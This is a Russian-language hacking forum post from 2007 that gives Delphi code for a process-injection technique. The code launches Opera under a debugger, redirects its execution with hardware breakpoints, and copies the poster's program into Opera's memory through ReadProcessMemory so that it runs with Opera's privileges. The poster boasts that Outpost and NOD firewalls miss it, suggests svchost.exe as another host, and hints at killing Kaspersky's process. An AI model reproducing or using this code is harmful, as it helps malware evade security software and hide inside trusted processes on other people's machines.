Показать сообщение отдельно

  #12  
Старый 27.06.2007, 11:43
Xserg
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме:
426226

Репутация: 726
По умолчанию

Еще один метод инжекта. Судя по тому что, не палится ни Оутпостом, ни Нодом, они про него просто ни знают.

Пишем заголовок программы

Код:
var sk:_CONTEXT;
      st:STARTUPINFO;
      pi:PROCESS_INFORMATION;
      s:shortstring;
byte(s[0]):=GetModuleFileNameA(Hinstance,@s[1],255);
for y:=1 to length(s) do s[y]:=upcase(s[y]);
if pos('OPERA',s)<>0 then begin
Beep(500,500);
sleep(10000);
ExitProcess(0);
                                            end;
Вообще то наш процесс называется Project1.exe и как он станет OPERA.EXE читаем дальше.

Запускаем оперу:
// далее по тесту программы будут использоваться константы вместо переменных
// сделано это для простоты написания примера.
Код:
ZeroMemory(@st,sizeof(st));
st.cb:=sizeof(st);
st.wShowWindow:=SW_SHOW;
s:='C:\Program Files\'#0;
SetCurrentDirectoryA(@s[1]);
CreateProcessA(nil,'Opera.exe',nil,nil,true,
DEBUG_ONLY_THIS_PROCESS,nil,nil,st,pi);
Oпера загрузится но выполнятся не станет.

Находим адрес ReadProcessMemory, и создаем Handle для оперы , чтобы она могла читать память нашего процесса.
Код:
OEP:=$416001; // внимание константа
_ReadeProcessMemory:=GetProcAddress(
GetmoduleHandle('kernel32.dll'),'ReadProcessMemory');
prin:=OpenProcess(PROCESS_ALL_ACCESS,true,GetCurrentProcessId);
DuplicateHandle($ffffffff,prin,pi.hProcess,@prin,PROCESS_ALL_ACCESS,true,0);
Ставим бряк на OEP и запускаем Оперу
Код:
function _DEBUG_(psk:PContext):dword;
begin
psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
SetThreadContext(pi.hThread,psk^);
de.dwDebugEventCode:=0;
while de.dwDebugEventCode<>EXCEPTION_DEBUG_EVENT do begin
  ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
  WaitForDebugEvent(de,100);
if de.dwDebugEventCode=EXIT_PROCESS_DEBUG_EVENT then ExitProcess(0);
                                                     end;
psk^.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread,psk^);
_DEBUG_:=psk^.Eip;
end;

sk.ContextFlags:=CONTEXT_FULL or CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread,sk);
sk.Dr0:=OEP; // break on OEP Opera.exe
sk.Dr6:=$ffff47f0;
sk.Dr7:=$401;
while _DEBUG_(@sk)<>OEP do;
Опера остановилась на OEP. Дальше она нас не интересует , нас интересует только ее привилегии.

Помещаем в стек оперы ,переменные необходимые для выполнения в ее контексте ReadeProcessMemory.
Api ReadeProcessMemory у меня начинается с push ebp ($55), найти подобную инструкцию, не составит большого труда, в любом процессе.
Выполняем шесть команд push ebp, предварительно заполнив ebp нужными нам данными.
Код:
for WPM:=1 to 6 do begin
sk.Eip:=dword(_ReadeProcessMemory);
sk.Dr0:=sk.Eip+1; // next command
sk.Dr6:=$ffff47f0;
sk.Dr7:=$401;
case (WPM) of
1: sk.Ebp:=sk.Esp+$10; // actual number of bytes written
2: sk.Ebp:=$20000;  // number of bytes to write
3: sk.Ebp:=$401000; // pointer to buffer to write data to
4: sk.Ebp:=$401000; // address to start reading from
5: sk.Ebp:=prin; // Hprocess
6: sk.Ebp:=0; //return address обязательно брякнится
end;
_DEBUG_(@sk)
                  end;
Загружаем нашу программу в память Оперы через ReadeProcessMemory. ставим новый Eip на OEP нашей программы, запускаем , как бы, Оперу. Далее останавливаем Debug и выходим.
Код:
sk.Eip:=dword(_ReadeProcessMemory);
sk.Dr0:=0;
sk.Dr6:=0;
sk.Dr7:=0;
_DEBUG_(@sk);

dword(pdw):=Hinstance+$128; // OEP Project1.exe
sk.Eip:=$400000+pdw^;
SetThreadContext(pi.hThread,sk);
ContinueDebugEvent(pi.dwProcessId,pi.dwThreadId,DBG_CONTINUE);
DebugActiveProcessStop(pi.dwProcessId);
Наша программа запустилась с привилегиями OPERA, типа Ура.

Можно запустить и svchost.exe и пользоваться его привилегиями, они у него не малые,
и выполнять любые API из его контекста.

Касперский при параноидальной настройке ругается на SetThreadContext.
Так что ищем в инете 1001 и один способ убить Билла. (kav.exe)
 
Ответить с цитированием